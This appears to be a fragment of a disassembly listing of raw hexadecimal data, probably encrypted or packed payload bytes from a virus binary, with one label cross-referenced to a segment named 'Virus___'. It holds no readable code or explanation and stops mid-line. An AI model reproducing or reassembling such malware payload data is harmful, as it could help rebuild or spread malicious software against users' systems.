dd 6E032187h, 0BB161143h, 3C19AD71h, 1AF1FC17h, 60B1A1F4h dd 54F433C8h, 29D9CD16h, 8A0A65C7h, 0DDE07F2Bh, 92D04560h dd 8B84084h, 32B933EDh, 0B6592D73h, 7CD07B84h, 0F4170CACh dd 8F6C5B2Fh, 28B30C5Fh, 0B354C0E6h, 0DEDD076Ch, 0BD8FE49h dd 44B6BADBh, 9D0B5CE1h, 737BFBAEh, 99256B7h, 7D79A9CAh dd 8949D8E3h, 9F0305EEh, 13EE70F1h, 0DED9F54Ch, 0D033627h dd 3F41673h, 57B09877h, 0DDE04764h, 0AE7B9F20h, 1AE50321h dd 51283849h, 8F4D57BEh, 7C23A0B7h, 438062ABh, 0B66FFABBh dd 473E0A1Bh, 1CB5708Dh, 9EC85A24h, 82E7FB96h, 287096EDh dd 8B12E35Fh, 0C1D57371h, 0DB6A696Fh, 0E0DD5064h, 60761D5Dh dd 8E3F1CAFh, 2A088411h, 0DDE763D1h, 81319712h, 2AA3E3E2h dd 2B751AF9h, 75CD93B6h, 6A767172h, 22E50321h, 92E187Bh dd 98A783F6h, 974E2D67h, 10449569h, 0B5E5C663h, 3438BBB5h dd 144FD16h, 0BED256EDh, 6F115D8Eh, 75C9B686h, 95F91469h dd 0F1229B9Bh, 2BC16072h, 6321B537h, 4367E4E0h, 51E6AEA3h dd 2E7DF4C8h, 95316600h, 99F393F8h, 8A2BAFA6h, 39D2BDB5h dd 0E39326E0h, 0DF3161DDh, 4861B67Ch, 0DDE07E47h, 813E4508h dd 5D51B65Ch, 0A60787C9h, 592EBEFBh, 0B41A8996h, 0C00FF9Bh dd 0BB889F0Fh, 5DD3873Fh, 3C070040h, 17E969E2h, 9C42B5F8h dd 0E9E42AEFh, 0F5FC3561h, 0C150F5F0h, 0F5A773FAh, 0DB18E9C3h dd 0DDE654FEh, 0C236E920h, 10318342h, 0F5A77221h, 89C7B9BFh dd 0FD29B9B5h, 0B8FF798Bh, 9C32A1A2h, 0C710BD2Fh, 65FF4CCEh dd 0E8B90317h, 2A84C858h, 0F63B709Ch, 0C404E71h, 4A17582Dh dd 0AC80639Eh, 0A5E8F1C9h, 0CF5DE8Ch, 0D0582319h, 0D458C330h dd 0FDA40561h, 6BD4CAAEh, 0F74BDB0Eh, 0F78BA7D5h, 64952568h dd 22923D18h, 5944D576h, 0BC2BF6A8h, 0D2F7730Fh, 0D9C009ECh dd 3BCDE9Bh, 0A26A32CAh, 0F40F6EA6h, 919B9B28h, 0B7021C41h dd 17ADCFD7h, 0F8296EDAh, 22065D04h, 0F911C59Bh, 40729570h dd 0B71EE931h, 0BB6A32B1h, 0F6B492CCh, 9C868D8Eh, 0C02B2612h dd 0DFE4D8E3h, 0A02CF3F2h, 0F53732B6h, 28C953D5h, 0E444E2BBh dd 9A10F052h, 0DEA8BC01h, 5D0398E5h, 3917A215h, 0ADA488A9h dd 892FFCC1h, 1738F053h, 0E39326EFh, 9869F5D6h, 5B143B31h dd 11FAE835h, 0E8E8D542h, 0D3985358h, 0C974EEF5h, 48432F04h dd 0D1676623h, 5E50321h, 8A31A134h, 0C2B916BCh, 72309542h dd 9C41E486h, 0F8FD25FDh, 666AB6C8h, 850D29ABh, 6CDDB1ADh dd 93E8DDD2h, 248C0320h, 89C7B5CAh, 974E2D67h, 10449569h dd 2EEC8463h, 0D60787CAh, 0DCA35142h, 7435F897h, 0D3B44BCFh dd 0DB0787CAh, 758505AFh, 82399568h, 8303359h, 8EF00C9h dd 8F209989h, 0DDE533C1h, 5FFA2D70h, 0F3259541h, 80C58193h dd 4D30A48Dh, 0F3597C1Eh, 0F5A7A479h, 0EC9F2CDFh, 0F6C007D0h dd 0CAFE2E4Ch, 0C3B8B692h, 0A0D365F3h, 1FD48374h, 470787CAh dd 0A746FE18h, 0E4C4540h, 7F7ABED2h, 138961BAh, 0F211E095h dd 0F7F746AAh, 0AFC38120h, 57D0547Eh, 6C6A3667h, 0DDE080C4h dd 608DFFE4h, 52C9541h, 7CB74DE7h, 0EDC9CBE3h, 0F8A281EAh dd 0F1AA8B53h, 0C0745ABDh, 52110539h, 4634A199h, 274C8122h dd 487B16CCh, 0BE8CAE7Eh, 54C5F1h, 2636913Dh, 9698C1ABh dd 0EE92143Ah, 7F3F170Fh, 4ED7731h, 58FB757Ah, 566C2D0Fh dd 0F339A2C5h, 69450320h, 0EF26DBC2h, 0B0F0C0B5h, 583B20F5h dd 7409668Dh, 9ED85D89h, 11C00815h, 282F5680h, 0E6124CCDh dd 436DD803h, 433B3EABh, 0E9EE4CC7h, 8F823BD0h, 0B8A912B3h dd 2401372Ah, 0C94FA0C6h, 431AC030h, 43F8FC87h, 0F2082D71h dd 6901902Bh, 0D093163Dh, 0DB20567Ah, 25362792h, 3F646FCBh dd 23AD38A0h, 2D789EADh, 0E082201Bh, 0DE8B541Ah, 762D83A2h dd 95E06803h, 9117B1BFh, 0C344E8DDh, 0B8FEE741h, 0AA278A2h dd 985A772Eh, 13CA6BDh, 1BEC3A79h, 27EB0F26h, 0A9E4FA14h dd 2D1174FBh, 0A25D9CCEh, 8098181Ah, 10146EF3h, 34E6B893h dd 0A6350320h, 53C27A16h, 4A0BF0D2h, 3996BE48h, 0C44A0323h dd 340CE7E1h, 77BC850Bh, 0F9994AA7h, 88EA5A8Fh, 0D803883Bh dd 4CAB1A62h, 79EE4B31h, 3DA5B797h, 84BB025Dh, 21C7FB2Eh dd 80783BFh, 913F2D9h, 0D7C7D3B4h, 0C419D61Bh, 834CC11Bh dd 8872190Eh, 13CF1EC8h, 114FD291h, 16BB3CB3h, 1CB451B2h dd 4F3B24F9h, 0F0242ED3h, 231CA99Ch, 87BBF636h, 66E9919Ch dd 0E535C821h, 74B0B76Ah, 9B707827h, 377B2CF1h, 0CA6B73B0h dd 32BA8DDBh, 4422485Fh, 563BCA6h, 0AC810817h, 0A7E61AC9h dd 0FD393FE1h, 0CB3DF49Ch, 0AC8C4AFBh, 44206144h, 0B17901A6h dd 1BE3E6D6h, 0D4A83FEAh, 981570CBh, 5CA49369h, 6C87D280h dd 4B1B51B3h, 0BAF334B0h, 23310860h, 0F5594BBDh, 1A0D71D9h dd 87B26453h, 44A16758h, 4AC7CC33h, 9DFD9CF9h, 2A032754h dd 9FEF2AC6h, 347C4E32h, 4E6D0320h, 3BD7C5AEh, 0D2830574h dd 0F46CAAE0h, 0CB64B07Bh, 9CFE2E59h, 0F56BCD0Bh, 2A9461D7h dd 1BDA2058h, 0DFFBAFCBh, 214C9495h, 0B1EE4CB4h, 8FBFB04Ch dd 2EBF12B3h, 69306C9Ch, 27A9FDCh, 409E65E6h, 9DDA8B53h dd 40FF1C84h, 0EC952CA0h, 23060909h, 7412FF36h, 8812B73Eh dd 1CB5DFDAh, 9A8B04EAh, 938185C2h, 0B26A31D1h, 90C15BE5h dd 3C688F9Ah, 0D96684FAh, 0A3610320h, 4EF725FDh, 0A07711A5h dd 0E11356EEh, 0D7CA8D11h, 5BE7AE37h, 21310269h, 823960CDh dd 0A165F8A5h, 0E2566004h, 61DB4F15h, 4C08A1C4h, 8D07FA14h dd 3E6FDF87h, 1CB51CD6h, 431E77ADh, 4AE83B84h, 863D7ADBh dd 0E1AD04F7h, 3DA2316Eh, 28DFC51Eh, 82ACA8B9h, 17D28C6Ch dd 0DC2FB587h, 29F0E8ABh, 1C086F08h, 0A440E251h, 60B16F45h dd 0E0E528Fh, 0F1EE4C9Dh, 81257C95h, 7ECC5A55h, 63E50320h dd 0C249F758h, 1B377E48h, 2CA6AE29h, 8AEA4441h, 1CE99930h dd 98963BBBh, 0B6EF5E4Bh, 82D7AB4Fh, 42F104F7h, 4D734804h dd 0E5C27A16h, 0FD269DFCh, 426BBF49h, 0B50E0323h, 0A445AC98h dd 0F6B5B245h, 912D880Ch, 0E9BE8601h, 614F8FD2h, 5EE4CB4h dd 0A30B456Ah, 2EBF12B3h, 0E05E6C9Ch, 328170B5h, 1711E095h dd 8D56C831h, 4F6E4E4Ah, 88AE7371h, 9D87462Eh, 0DA3922B2h dd 68200B43h, 45E504DEh, 7E4DDA74h, 0DFF3627Dh, 0F34BF754h dd 85623449h, 1C8B93E4h, 0F05375ADh, 0B59A128Ah, 0E8786AC1h dd 51DAF84h, 0B8CD6D8Fh, 2A3392C6h, 1AC93776h, 2DEEA56Bh dd 0C33EF109h, 0AD08566Fh, 0DB50E80Dh, 1960A9BFh, 0B8E25A52h dd 6213FEC9h, 0CC45CE21h, 0BE02C58Fh, 0EB60F4CAh, 0B7C99986h dd 0ACA72A97h, 7B3BA38h, 0A383B3E8h, 6F054BC9h, 86D504F7h dd 12D38AC9h, 0E0C67D2Bh, 1D785FD3h, 225A33BEh, 0CE89279Ah dd 4E3DA0E5h, 985FE747h, 0AA99EFF4h, 7811AAB3h, 0A394C442h dd 19EE4B32h, 8181CF20h, 71602C55h, 0C2E10B6h, 0A030047h dd 4E03EB8Dh, 0D8363683h, 763D8EB9h, 0D7CAA7AFh, 9A462146h dd 8BAB41EAh, 91F4777Ah, 0A642AF8Ch, 3AE3C4B4h, 253339EDh dd 7F4C462Ch, 306613CDh, 3B4E6B80h, 244C5043h, 3D2854EFh dd 8F25772Dh, 7F2EA2AAh, 0C21DA914h, 36429599h, 2BDE2C1h dd 0C0CD6D8Fh, 245DAB84h dd 6074EF42h, 0CC99CC36h, 5889A7D5h, 5E1A43A5h, 2B42E727h dd 0CDFC5B87h, 2108C17Eh, 929A83B6h, 0AF5FD3Dh, 974F7796h dd 378AD505h, 52F31A73h, 250E6E07h, 835F74E5h, 84D6A607h dd 0AB26232Eh, 0A0F9D4E1h, 0A38EFC93h, 70783B8h, 2F306B20h dd 1CB64458h, 8F0630C6h, 9E841463h, 0F0D9EC8Eh, 45D4FB3Fh dd 67F485E3h, 0CF813F7Dh, 6A3DA290h, 84E4C473h, 209948A8h dd 0C4886382h, 0EC95C2E3h, 0E11C1DB3h, 18B9510Bh, 0F4FB77C1h dd 0DADF38E5h, 69F93C74h, 0B5E6B50Eh, 32B94EB8h, 226C7CBCh dd 406A49B0h, 0AC99CC35h, 0BFE5D8ECh, 0C5B56706h, 49008AB7h dd 0AE10CE64h, 914F21E0h, 1E1F5096h, 0ECEFCBB9h, 0DDC0293Bh dd 0F47B0709h, 763D9078h, 250E6EAFh, 13D51245h, 0F5A7A2E6h dd 9CE8F0A9h, 9A46298Ch, 0A63E4496h, 4F09F2B6h, 8443A466h dd 4AFCF42Eh, 0E411919Bh, 5CD7867Ah, 7B4AFFF5h, 6C9CBE3h dd 0D8AC3878h, 44244A30h, 7402005Bh, 44104413h, 0DDE65764h dd 0E0298E1h, 1FBAF3EBh, 0FB9D8B53h, 0DBB8C746h, 0BDEA5987h dd 6767C064h, 274C8E0Ah, 6561A37Ah, 0F0242DF9h, 0E80F6E2Dh dd 64452399h, 7EF823CBh, 0F3B71FAAh, 93DC34FAh, 3480320h dd 0B6CD68CAh, 0A90377E5h, 46BFBB52h, 8407BE52h, 93344162h dd 930E67AEh, 0CF86132Ah, 84BDF9DCh, 0F215452Eh, 0E738AFD7h dd 0DF31508Ah, 9045DF4Ah, 91B3C123h, 9245268Eh, 0A9A24FE6h dd 0E41A80C9h, 0F10788D9h, 6AF603C5h, 0BD0B9F9Fh, 0F6CC94A4h dd 65716AC5h, 390B4CF8h, 0A6438175h, 60B7CD7Fh, 8893F90Bh dd 9A431C5Ch, 5FB89659h, 0AF9FEBBCh, 0D0E6E15Dh, 0D7C9E33Dh dd 0BDA8BC1Ah, 6662A526h, 4EECF3D3h, 44303E07h, 129D326Ch dd 7F3BC43Ch, 0D7C9E038h, 0AE11C129h, 876F01FFh, 4C9ECF4Dh dd 551DD6FAh, 0D754269Ch, 0A946BC83h, 22B68B58h, 0EB393112h dd 0D7CAB995h, 1A90FDDAh, 8BC7393Eh, 0F837B90Dh, 364C508Ch dd 11F48E8Dh, 0A32FB597h, 6273F56Bh, 58D2DEC2h, 0D10C2185h dd 0B036C265h, 2FEA560Fh, 826E730Bh, 0E05B9C32h, 0F78170B5h dd 0EA32FB45h, 22E4C719h, 5BC1A1B3h, 95EA5607h, 0E5924F5Ch dd 0F591A75h, 0F2EA542Ch, 9C508FD8h, 7F2DF10Fh, 8D1DA914h dd 88E5E01Bh, 61EFF35Fh, 16E2C1ABh, 0B17E3864h, 2C74EFE5h dd 568786B8h, 8387C07Dh, 0B0160CFBh, 0CC308553h, 213F6759h dd 4634A0DEh, 4930A33h, 0D36FE176h, 67CE0B97h, 0A0FB0080h dd 3FCE8957h, 0B673DB94h, 46EE17E6h, 2A961E7Bh, 64DC9F7Ah dd 22C8549Bh, 82854087h, 0F208314Dh, 0A0D504EAh, 0E307CBDh dd 0E0FFFEEBh, 69C42D9Ah, 51D4537Dh, 7FFB2853h, 2C2E19B5h dd 0D258E248h, 0DE3AFA4Ch, 0F89859D7h, 0F9A80DC4h, 0E5608C8Dh dd 0D7C9DF76h, 47943A61h, 0BA8DF9FAh, 0C1B28325h, 0C2B6394h dd 81077AFAh, 758BACEDh, 8FFE5A4h, 47615C92h, 9499A80Eh dd 294F2823h, 0B8E8EDEDh, 6C078648h, 441FDD35h, 7E0EEB1h dd 26DC0675h, 28E50320h, 3CE88BD9h, 362114A0h, 8181103Bh dd 8F673155h, 560787C9h, 5FB00803h, 9326BC3Ch, 673A308Eh dd 3951E949h, 6E7F7291h, 0DDE080A0h, 8FE06826h, 29EEE347h dd 0F5A7A2BAh, 7526C2ECh, 0D4A69568h, 0CBD1E4CBh, 92D39709h dd 885DB5C3h, 0E31B4979h, 2248822Ah, 8C31C6BCh, 0C6DB6FB5h dd 9BE47666h, 0DC72F593h, 17958A20h, 0DA6B983Ch, 74603550h dd 89C7B5C9h, 7C3AB1F8h, 0F5A7731Ah, 367F871Eh, 5FD5D179h dd 15099541h, 8341E4A0h, 85A3CFFFh, 0F5DEBA75h, 98A1AF5Eh dd 3A7BDCF8h, 440D3E5Ch, 0F5A77482h, 0BE2E009Dh, 0DFC22BCAh dd 93F4D92Bh, 0A1DF0320h, 89C7B5C9h, 84D5E659h, 0A9D5952Eh dd 0E6D1A3BCh, 23EF434Ch, 11ADC370h, 3449F8E0h, 8423A18Bh dd 65474162h, 0F5A77481h, 2E62A338h, 9BBD3F43h, 758597A4h dd 0A5B59568h, 0F8ECCD1Ah, 0D652782h, 2266C373h, 2AA63497h dd 3F6617DBh, 19BCC698h, 8C9CA890h, 533156B6h, 7E8B18FBh dd 0F6075A2Eh, 765BC3E5h, 0F22872D0h, 77AF6D44h, 0DDE07DF8h dd 7A5D92F9h, 0B1785667h, 0E30DA16h, 94D37FC4h, 0D4C3E654h dd 0DF1F0DBEh, 0F20C05E5h, 0CA0BBBF0h, 1CE8D84Ah, 0B7DDA721h dd 250EB192h, 96D3A58Ch, 9846CA47h, 0B6E52A9Ch, 353286E5h dd 3C210ED8h, 0DD9AADFAh, 2E060320h, 0DDE504DDh, 0E3745FEh dd 52BAF3EBh, 0FB9D8B53h, 19C60405h, 0B200B925h, 12B135E5h dd 68F9FCADh, 778AC1ABh, 0E97A99ABh, 0C0CFFEB5h, 4B38E777h dd 29383826h, 0C27EBAECh, 0C98FFD57h, 0E8AD054Bh, 77B3D800h dd 0B446DFA7h, 31A3A05Bh, 0BDB78445h, 0CEBAD53Ch, 0CEB907Eh dd 0FA9F3FC1h, 0D5E991C8h, 7C370319h, 386A8DF1h, 96475B29h dd 712A9569h, 9116D91Dh, 0F368367Ch, 0DD99CC56h, 89D6974Dh dd 5D51B5F0h, 0C60787C9h, 3DAC805Fh, 982A138Bh, 53959569h dd 0F1A9C063h, 8FEC3E49h, 969E347h, 0AEDA2050h, 743FC136h dd 84276B4Eh, 986C9CEEh, 0E3B89569h, 72BA26FEh, 36BC3132h dd 8D7AA3BCh, 4B1A0A58h, 666AB555h, 0CD0D29ABh, 0ADA190E9h dd 0D96C31A7h, 903C0320h, 89C7B5C9h, 99F393F8h, 8267C0CFh dd 32452826h, 0AE0787C9h, 0DCA3E65Ah, 3449F897h, 0E770A88Bh dd 80594B4Bh, 0DDE07E52h, 969E3FEh, 70E43650h, 0FACA95Ah dd 0F5A7A3E8h, 920EBA76h, 804A3EF0h, 196BBF89h, 0DDE081B1h dd 1AD41CB0h, 216E8DF8h, 99BF1193h, 77E3A7F1h, 63F6EA1Eh dd 274BADEBh, 2BF717FCh, 5BCAB4BCh, 0F2F8B609h, 9B282C53h dd 8A0AAA5Ch, 0F727D163h, 11450089h, 0B2171947h, 64D62CE5h dd 5D20524Ch, 6513E76Ch, 8646E64Ch, 0DDE0C002h, 0AF014D20h dd 50255218h, 0D9F48CAEh, 0CFB01FD7h, 0C5F48302h, 0FEA1C5BEh dd 4B8749C5h, 0A1E9C76h, 70589CC3h, 4A120DB8h, 0FE6F8457h dd 0BE8CAF8Fh, 0E5ACF346h, 3915E1AEh, 0DC16C8FAh, 74B50320h dd 5DF58B4h, 0E36F08B9h, 61ABD38Bh, 94DC32AEh, 87FEC0FEh dd 187CC350h, 62C8B54Fh, 95DEDE7h, 0F20F2233h, 0D5A3F724h dd 46BE9447h, 0ECCCDB68h, 0C0E833AFh, 0F20FF4BCh, 0D7233C31h dd 9DE946EFh, 0DF41848Eh, 0F20F2026h, 0A0AA53C0h, 661091BBh dd 7011CB68h, 12628F60h, 8149F9DFh, 6A58669Eh, 0C4B5735Dh dd 6A8CC9F4h, 0F056A1FCh, 0D7741102h, 0B2F0ABB3h, 0A7DB9C12h dd 0EDB7B69Eh, 31A9CB5Ch, 0EE5C6A69h, 0B5D978FBh, 2578D667h dd 2D3DA268h, 523103DAh, 0FC9CF1E5h, 1502ED33h, 0B8C88A2Eh dd 0FDB5BA2Dh, 0C1EB858Fh, 0E008E814h, 0F387CE9Ch, 0E9331450h dd 6A4EFD10h, 0DBB5035Bh, 67873E06h, 985D0FD6h, 20AB80F8h dd 0A3F8DC79h, 0E271F1ADh, 0FF87E99Dh, 5A6E164Ch, 0F7B8D585h dd 0A66CB4B4h, 3E4E49A3h, 0F00255C8h, 6608AC05h, 63C30201h dd 33BE3848h, 0A9598Fh, 6648DA35h, 51A58090h, 38D25428h dd 978FDE83h, 31182A3Ch, 5CBD3795h, 6B08AE23h, 0DD579C62h dd 2237EB3Eh, 0F8EA59EDh, 0CD08DD07h, 6EF33168h, 50A53F5h dd 3F849945h, 5407D8EFh, 0B88495E7h, 0EC1F3947h, 0CC057EE6h dd 6297C11Dh, 0C46A5033h, 6AF6A6D8h, 0A941676Bh, 60E05B7Eh dd 7C9165C1h, 146DC923h, 75FBDFB3h, 2657983Dh, 4A0C777Dh dd 0A08A13Eh, 324256BCh, 0A95B86CCh, 312798EBh, 10849C18h dd 0D2184C4Fh, 5CECCE43h, 39E836D3h, 0F36F13FAh, 88C02D6Fh dd 1A46ED86h, 970EC9C5h, 4BF0A67Eh, 1268A7BEh, 32DB344Eh dd 0D0366B6Dh, 71378294h dd 64FFB81Ch, 0E7EA9BAh, 36998FAAh, 0C88F141Ch, 9038B2D8h dd 9C96BAAEh, 9F665B9Ah, 3ABDD893h, 0EE8EF5E6h, 48741FEh dd 7BFB025h, 48C14318h, 7BFB025h, 7ABF7A9Bh, 3233ED86h dd 0F78FEA91h, 0E6A80785h, 53605CB7h, 0BA01D26h, 0BD53B929h dd 0F9823B78h, 0C970C4E3h, 6AE91F8Eh, 56DA25BBh, 4571F1ADh dd 56E53428h, 384E843h, 88C6D479h, 0ECC98788h, 0E630CA7Dh dd 8C251615h, 905F8FC3h, 25877FE0h, 8930635Dh, 8A2B1BC5h dd 0DB9FE02Ah, 0CE65CC18h, 0DB1DB4EDh, 0E653B1A2h, 0FD3F1B2h dd 268A08BCh, 0C2A36385h, 0E44E4C44h, 4BBCB794h, 0C468182Dh dd 0DAD336D8h, 868C57FCh, 93FBC30Bh, 4FBC47ADh, 0D729DCD1h dd 0ADC5E748h, 0B3E56F01h, 42F09DCCh, 0B3E56FF9h, 0B492F9DFh dd 0DCF7D032h, 4F0BEA99h, 0F50652E0h, 0E1894883h, 0D1E5D068h dd 0B7E5447Dh, 0E956D09Ch, 81CD6D4Bh, 27035214h, 69C7B8A6h dd 929251BEh, 0BEB050F5h, 8A292FD5h, 0F00316E1h, 0AFD10C70h dd 0B257C553h, 285BE6ACh, 5770C8FFh, 7FD6AAFh, 7B7DF8D2h dd 1EF20ADh, 26DD8E09h, 9B15E539h, 0ECA429AAh, 0A569F659h dd 26821523h, 29A6AA6Ch, 70BC0FD6h, 0C5CD6502h, 0CDFEBD23h dd 0FA8A59C2h, 4D27A8D3h, 60A124EAh, 0A3E60234h, 0F929B722h dd 20495B9Bh, 0AC7F7443h, 76E286A4h, 93CAD8CEh, 8910C7D1h dd 0C28FED7Bh, 0B658C7AAh, 0C8F4FE3Fh, 27F9EAD8h, 3524687h dd 31518727h, 96382D95h, 4D07167Eh, 53B1E02h, 4D071B23h dd 0EA5ED502h, 4E5E1154h, 963810CFh, 72F0F7D5h, 5CC015D9h dd 91CA9CCCh, 0C8F4FD56h, 0C3A05AD8h, 99D7BF27h, 91EF9B46h dd 0C8B72A6Dh, 0C6A614D8h, 0C9B515D8h, 0C873AC23h, 0DC6FAC23h dd 0B7B515ADh, 526F9D30h, 0B7B09306h, 1DC8FF8h, 4365B645h dd 0DF7B1FA4h, 23F81049h, 40729063h, 0C9D8F45Bh, 0D1BA9D2Bh dd 0C8B5112Ah, 0C46F642Dh, 64C015D8h, 4034BEB3h, 658AD1C7h dd 0BD824C13h, 0F202B261h, 0C8B726E9h, 970B8CD8h, 660473EBh dd 0B8D3D9BFh, 2B43EC39h, 43A20AE9h, 1615EADAh, 59020CD6h dd 52B46E80h, 16FB12E5h, 0FF780DA8h, 0FB58931h, 474E3AA1h dd 16FB039Ah, 0C38F083Fh, 0D39E15D8h, 45120D90h, 0AA98931h dd 9188A298h, 3B1F40D7h, 474B8931h, 1615EB1Ch, 47FA859Eh dd 16103823h, 0B39B4762h, 0C1B08931h, 0C8B089FBh, 94BB92D8h dd 7543E74Dh, 0C8B51131h, 0C8B501ABh, 0C36BEDD8h, 38E415D8h dd 1615FA7Eh, 0D99101F9h, 16FA5689h, 6BF21DA8h, 7439160Ch dd 0C8B09025h, 0E6307FD8h, 2C844055h, 48B515D8h, 4767E007h dd 0C8B58702h, 0BBB7AC67h, 0F77CF8B1h, 0D9910AEEh, 1610384Ah dd 114B90F7h, 2E066791h, 92DE310h, 0B2147183h, 0FE7F46BAh dd 5565502Ch, 5A63ED61h, 22FFEE5Ch, 8013E31Bh, 1C8FDE5Fh dd 5DBD4223h, 5A066B5Ch, 0A7498D0Ah, 701E45C1h, 387321A8h dd 5BDDACFEh, 5D78FEA1h, 0DE4EF017h, 0F3D907A9h, 733397EEh dd 9543E2FDh, 89465878h, 536BE8EEh, 0C8B58C11h, 0F802B5D8h dd 67209B23h, 0CB4F14ACh, 0C8B7A8ADh, 0D1DBD4D8h, 0E36D29A9h dd 0F43E7022h, 0AF135FECh, 1616A3C1h, 0D399502Eh, 6F655B3Fh dd 0C316B6EDh, 26BD3D8h, 0C8B58C09h, 0F801B5D8h, 67F89654h dd 0CB4F14ACh, 0C8B7C9ADh, 0F67F1BD8h, 89169514h, 1E745C31h dd 0AB4B9B51h, 0FF43E214h, 4D7EAB3Fh, 0C8F4DAEDh, 0FCEA2CD8h dd 0C743F2BFh, 6F66E65Ah, 0C7CCA3EDh, 7DB515D7h, 2ACEC7F2h dd 598602BFh, 0B2B58931h, 16167955h, 0C16D5589h, 0D99EFEDAh dd 16C4AE1Dh, 757050FAh, 0CED3FBF1h, 0A28BB69Eh, 4B5B3BE9h dd 0E67C8E05h, 634D584h, 4711AE5Fh, 0C5B213FAh, 0FE1C5BAh dd 32BC5021h, 7C26D1E6h, 0CAA17666h, 0A1FF39Fh, 0EFFA5AC2h dd 97B8E4B1h, 4C0C4C3h, 0C1399B63h, 0D302EB3Ch, 0B3DDE4DAh dd 0E20E4DA9h, 951B71BDh, 44FF19FBh, 0D85BF4D8h, 0DD74EF5Ch dd 569F70E2h, 1D15FB9h, 0D14B3A9Ch, 0A4E4F765h, 0A51F42F2h dd 6B60C1FCh, 320D7D8h, 7E5E029Ch, 0AC8C3654h, 0FB89CFDCh dd 29B5FDC8h, 87FBB4Fh, 0AB79CE76h, 0CD8110DCh, 3303554Ch dd 59D62345h, 172F8BA2h, 95FAAFC3h, 8D2425E9h, 0AC8E15FDh dd 3E2DD66h, 0AC821D9Ch, 2EF6AF66h, 11BFC397h, 17053441h dd 0B7587BC3h, 0A0DFBCE2h, 5456DFE6h, 0A092EDE5h, 0FC766FCFh dd 43600C1Dh, 979CC5E6h, 0FDAA3C30h, 433192BDh, 0CD3C241Eh dd 0F3812C77h, 4969E58Ch, 9BD3A960h, 1103A4A8h, 0A115E99h dd 0DD9B7BC3h, 3B03A467h, 0B216AD68h, 0C85FADB9h, 95812C77h dd 6BA7FE21h, 5C6A9A81h, 8EFF4D32h, 227A5D33h, 7F8C1B54h dd 7F3CD9Fh, 0A9210627h, 0D4C566E3h, 0E47BF929h, 0AADD0421h dd 2EF3A7E3h, 0E4CC6424h, 7A2DCEB5h, 3A80632h, 52F34948h dd 0B4E5C066h, 0B2C2F766h, 0FD0A1032h, 82EADE79h, 62AB18B1h dd 0A233828Fh, 0C872C8E3h, 22492625h, 13869032h, 87F5EE3Ah dd 40492632h, 863D1412h, 40492179h, 0E5682EC4h, 43C5C332h dd 43C02B7Ch, 4049264Eh, 7D6DFC49h, 4B77A0D0h, 8E1D1B16h dd 0B2490FE3h, 87F6BA9Bh, 0A25B1418h, 4049217Ah, 0BF6838C4h dd 43CC9054h, 43C02B7Ch, 40492B01h, 65682F9Bh, 3CAAC428h dd 9FFBD3EFh, 7AA4C41Ch, 61B48AC5h, 437FCD9Fh, 7A22EDE7h dd 9B692632h, 0C4FE303Ah, 0ECF8EB86h, 0DF36CF40h, 0DE62632h dd 2C72998Fh, 0DFC6702Ah, 3C131419h, 87F50BDBh, 82DDC731h dd 70E5A96Fh, 33FE4805h, 5038B806h, 6F318E27h, 85CFEC8Bh dd 0EA1B6407h, 6D03FFBDh, 0C28A189Dh, 57E659B1h, 0F3B8C4C8h dd 1AE93CC6h, 70B82C46h, 0D02F3328h, 0FDE22E15h, 0F4328D1h dd 0AA76FB70h, 8A50B5B0h, 8DAA608Ah, 0DB504404h, 63C272A9h dd 2E357E1Ah, 0F98E9123h, 99B6CC4Bh, 33B0042Ch, 9EBAD2E8h dd 2F0EC7B3h, 0EA9DCB5h, 7286A660h, 0C2D4DFE6h, 29176425h dd 52A070C5h, 23385A69h, 0B094442h, 0FF36FAC4h, 3BF69AC6h dd 44093770h, 97DA3C92h, 679C126h, 0DFFF7D0Eh, 0B4283865h dd 4DFD90C1h, 0F2B48D4Ah, 3922CE59h, 55E6935Fh, 9329390Dh dd 9AAE072Ah, 7BF0A10Eh, 8EC9A431h, 96DACB58h, 0B0B9023Eh dd 0D2F81D68h, 0FB7BEC91h, 0FDCB3EA2h, 87C81EC1h, 0B0DC925h dd 0B096728h, 0DA449D70h, 9E62E640h, 0B7A421BAh, 87F91Dh dd 0F492519Bh, 35B842F6h, 70538E43h, 0D5771C9h, 67A5CC70h dd 28FA4342h, 0B093768h, 1F6DB3F4h, 0F716BC38h, 14C0C3EEh dd 0ADFD8FD6h, 0A053931Ch, 2E75E9F4h, 39A0CAFFh, 33AF2AB3h dd 176FDAA7h, 0B10EE9B4h, 3F0B599Bh, 0F149B28Dh, 7FD6282Fh dd 0F5C56C2Dh, 9DB89F3Eh, 0BE2580F8h, 3A02CB3Eh, 915ED71Eh dd 3F091BF4h, 3 dup(3F0B586Ch), 1A80586Ch, 770B5CE1h, 533E9E0Fh dd 8DF0FD65h, 1C47BD6Ch, 5F811A95h, 773BA815h, 533EBA00h dd 8DFED165h, 0BB5FBD6Ch, 23811ACDh, 773BA87Bh, 533EB78Bh dd 8DDCD565h, 963DBD6Ch, 0C7811ACDh, 143BA982h, 0A011688Fh dd 0A979E028h, 0EB311B8Dh, 2CDC8ABFh, 62633C7Eh, 64B8E06Fh dd 896E0D1Bh, 5CBB22C3h, 0B31590BCh, 78F5FE96h, 0C471B7EDh dd 68DFCEB4h db 60h, 15h, 0D3h byte_5C466B db 42h ; DATA XREF: Virus___:0058F045o dd 0AD48BD9Ch, 12843EDEh, 75433F10h, 0C1874787h, 2ED0AE26h dd 0C60B5839h, 0C393944Dh, 2C88DBCDh, 7B79F8DFh, 0E73A88E6h dd 0BB664B74h, 0F5F53202h, 0D30FC6C5h, 1655F942h, 6487BE2Dh dd 0E3B03506h, 7EEC1174h, 0A5568DA6h, 0D8ECFB10h, 0F7AB0FAh dd 0BEE663BEh, 31C52866h, 2CF333B9h, 0E9A40582h, 0E8ACD9EDh dd 3D5549D1h, 0FCF8B44Bh, 0A062FEFFh, 0C14B16B6h, 0FD452B50h dd 8C4728CBh, 0C2C6BBD4h, 5E75C568h, 43444523h, 192CC6Ch dd 0DFB1E2A5h, 97459AF3h, 0E2216CA2h, 0B049A9E0h, 0BC64F720h dd 783B522Bh, 51A5FB31h, 7A9C065Ch, 7C15D740h, 45F6DB04h dd 4E7BF622h, 546C75CBh, 0C73BA2F9h, 0BB088B87h, 66ADA5Ah dd 7E282310h, 1DFA2AD3h, 7E6E00BAh, 1D298C9Dh, 9DAAEEEDh dd 0AF5A78ABh, 3E240372h, 43444BC4h, 0DA13AF6Ch, 0F42FC666h dd 0EB9141F3h, 8FBD4AB1h, 0B7D38D8Dh, 591B31B3h, 5C9052B5h dd 45CBFB5Ch, 5C9052B5h, 6B7029B7h, 0A75D5E8h, 0C5594B48h dd 2C88DBCDh, 0AD793DDFh, 9DADCA48h, 0A2EC6047h, 4E554C62h dd 